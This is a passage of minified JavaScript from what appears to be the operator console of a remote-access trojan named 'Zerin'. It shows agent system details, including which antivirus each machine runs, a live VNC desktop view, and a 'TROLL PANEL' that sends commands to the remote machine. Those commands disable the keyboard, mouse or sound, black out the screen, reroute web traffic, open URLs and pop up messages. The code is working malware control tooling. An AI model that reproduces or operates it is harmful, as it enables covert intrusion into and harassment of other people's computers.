mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function eV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const G=A.current;u(te=>te.fps===G.fps&&te.frameCount===G.frameCount&&te.dirtyTiles===G.dirtyTiles&&te.totalTiles===G.totalTiles?te:{fps:G.fps,frameCount:G.frameCount,width:G.width,height:G.height,lastFrameMs:G.lastFrameMs,dirtyTiles:G.dirtyTiles,totalTiles:G.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const V=m.useCallback((G,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==G||C.height!==te)&&(C.width=G,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),R=m.useRef(new ArrayBuffer(5)),M=m.useRef(new DataView(R.current)),W=m.useCallback(G=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(G)},[]),$=m.useMemo(()=>({sendMouseMove:(G,te)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,G,!0),C.setUint16(3,te,!0),W(R.current)},sendMouseButton:(G,te,C,Y)=>{const re=new ArrayBuffer(7),F=new DataView(re);F.setUint8(0,2),F.setUint8(1,G),F.setUint8(2,te),F.setUint16(3,C,!0),F.setUint16(5,Y,!0),W(re)},sendMouseScroll:(G,te,C)=>{const Y=new ArrayBuffer(7),re=new DataView(Y);re.setUint8(0,3),re.setInt16(1,G,!0),re.setUint16(3,te,!0),re.setUint16(5,C,!0),W(Y)},sendKey:(G,te,C)=>{const Y=new ArrayBuffer(8),re=new DataView(Y);re.setUint8(0,4),re.setUint8(1,G),re.setUint16(2,te,!0),re.setUint32(4,C,!0),W(Y)},sendClipboard:G=>{const te=new TextEncoder().encode(G),C=new ArrayBuffer(5+te.length),Y=new DataView(C);Y.setUint8(0,5),Y.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),W(C)},setQuality:G=>{D.current=G;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,G),W(te)},setViewOnly:G=>{d.current=G},sendControl:(G,te)=>{const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,G),Y.setUint8(2,te),W(C)}}),[W]),U=m.useCallback(()=>{if(!D2||f.current)return;const G=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});G.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:Y,height:re,cursorX:F,cursorY:se}=te.data;p.current(C,Y,re,F,se)}},f.current=G},[]),B=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),K=m.useCallback(()=>{if(D2||b.current!==null)return;const G=()=>{const te=y.current,C=g.current,Y=w.current;if((te.length>0||C.length>0)&&Y){const{canvas:re,ctx:F}=V(Y.width,Y.height);for(const se of te)F.fillStyle=`rgb(${se.r},${se.g},${se.b})`,F.fillRect(se.col*se.tileSize,se.row*se.tileSize,se.tileSize,se.tileSize);for(const se of C)F.drawImage(se.bitmap,se.col*se.tileSize,se.row*se.tileSize),se.bitmap.close();y.current=[],g.current=[],p.current(re,Y.width,Y.height,Y.cursorX,Y.cursorY)}b.current=requestAnimationFrame(G)};b.current=requestAnimationFrame(G)},[V]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const G of g.current)G.bitmap.close();g.current=[],y.current=[]},[]),le=m.useCallback(()=>{if(O.current!==null)return;const G=64*1024;O.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>G&&!P.current){P.current=!0;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,30),W(C)}else if(te.bufferedAmount<=G/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,D.current),W(C)}}},250)},[W]),de=m.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),we=m.useCallback(()=>{if(i.current)return;const G=st();if(!G)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(G)}`,Y=new WebSocket(C);Y.binaryType="arraybuffer",i.current=Y,Y.onopen=()=>{l(!0),U(),K(),le()},Y.onmessage=re=>{if(!(re.data instanceof ArrayBuffer))return;const F=new DataView(re.data);if(re.data.byteLength<13)return;const se=F.getUint16(0,!0),be=F.getUint16(2,!0),ke=Number(F.getBigUint64(4,!0)),Ae=F.getUint8(12),I=performance.now(),fe=k.current,q=z.current%N;fe[q]=I,z.current=q+1,S.current1){const Q=fe[(q+1-ve+N)%N],he=(I-Q)/1e3;he>0&&(ne=Math.round((ve-1)/he))}const H=A.current;if(H.frameCount++,H.fps=ne,H.width=se,H.height=be,H.lastFrameMs=ke,Ae===1){const Q=eV(F,13,re.data.byteLength);H.dirtyTiles=Q.numDirty,H.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(se/Q.cols):128,E=Q.tiles.filter(ee=>ee.codec===1),ce=Q.tiles.filter(ee=>ee.codec===2);if(f.current){const ee=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return ee.push(X),{col:ze.col,row:ze.row,data:X}}),Ne=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:Ne,width:se,height:be,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},ee)}else{w.current={width:se,height:be,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const ee of ce)y.current.push({col:ee.col,row:ee.row,r:ee.data[0],g:ee.data[1],b:ee.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const Ne=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);Ne>=0?v.current[Ne]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let ee=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)ee.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&ee.push(xe);v.current=[]}Promise.all(ee.map(xe=>{const Ne=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(Ne).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const Ne of xe)g.current.push(Ne)}).catch(()=>{j.current=!1})}}}else{H.dirtyTiles=0,H.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(re.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,se,be)}},Y.onclose=()=>{l(!1),i.current=null,B(),Z(),de(),r==null||r()},Y.onerror=()=>{Y.close()}},[e,t,r,U,B,K,Z,le,de]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),B(),Z(),de(),l(!1)},[B,Z,de]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),B(),Z(),de()},[B,Z,de]),{isConnected:o,stats:c,controls:$,connect:we,disconnect:ye}}function tV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,A]=m.useState("https://"),[_,O]=m.useState(!1),[P,D]=m.useState(""),[V,R]=m.useState(!1),[M,W]=m.useState(!1),[$,U]=m.useState(!1),[B,K]=m.useState(!1),[Z,le]=m.useState(!1),[de,we]=m.useState(!1),ye=(ne,ve="ok")=>{f({text:ne,type:ve}),setTimeout(()=>f(null),2500)},G=m.useCallback((ne,ve,H)=>{s.current||(s.current=!0,i(!0)),l({w:ve,h:H});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==ve||Q.height!==H)&&(Q.width=ve,Q.height=H),typeof ne=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=ne}else ne instanceof ImageBitmap?(he.drawImage(ne,0,0),ne.close()):he.drawImage(ne,0,0)},[]),{isConnected:te,stats:C,connect:Y}=Nv({agentId:e,onFrame:G}),[re,F]=m.useState(!1);m.useEffect(()=>{!e||!re||Px(e).then(()=>Y()).catch(()=>{Y()})},[e,Y,re]);const se=async(ne,ve)=>{try{await Me(e,{command:ne,args:ve}),ye(`Sent: ${ne}`)}catch{ye(`Failed: ${ne}`,"err")}},be=()=>{const ne=!c;u(ne),se("troll_taskbar",[ne?"show":"hide"])},ke=(ne,ve,H)=>{const Q=!ne;ve(Q),se(H,[Q?"on":"off"])},Ae=()=>{y.trim()&&(se("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},I=()=>{j.trim()&&(se("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or https://","err");return}se("troll_website",[S]),z(!1),A("https://")}},q=()=>{P.trim()&&(se("troll_wallpaper",[P]),O(!1),D(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Gs,{icon:a.jsx(nV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Gs,{icon:a.jsx(rV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Gs,{icon:a.jsx(iV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>z(!0)}),a.jsx(Gs,{icon:a.jsx(aV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),a.jsx(Gs,{icon:a.jsx(sV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>se("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:be}),a.jsx(Ri,{label:"Swap Mouse",active:V,color:"#f59e0b",onToggle:()=>ke(V,R,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>ke(M,W,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!$,color:"#ef4444",onToggle:()=>ke($,U,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!B,color:"#10b981",onToggle:()=>ke(B,K,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>ke(Z,le,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!de,color:"#06b6d4",onToggle:()=>ke(de,we,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):re?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>F(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ic,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:ne=>g(ne.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:ne=>v(ne.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(ac,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ic,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:ne=>N(ne.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>w(!1),onSend:I,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ic,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:ne=>A(ne.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),_&&a.jsxs(ic,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:ne=>D(ne.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>O(!1),onSend:q,color:"#10b981",disabled:!P.trim()})]})]})}function Gs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ic({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function ac({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function nV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function rV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function iV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function sV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function oV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,A,_,O,P,D,V,R,M,W,$,U,B,K,Z,le,de,we,ye,G,te,C,Y,re,F,se,be,ke,Ae,I,fe,q,ne,ve,H,Q,he,E,ce,ee,xe,Ne,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(ie=>{const oe=new Set(ie);return 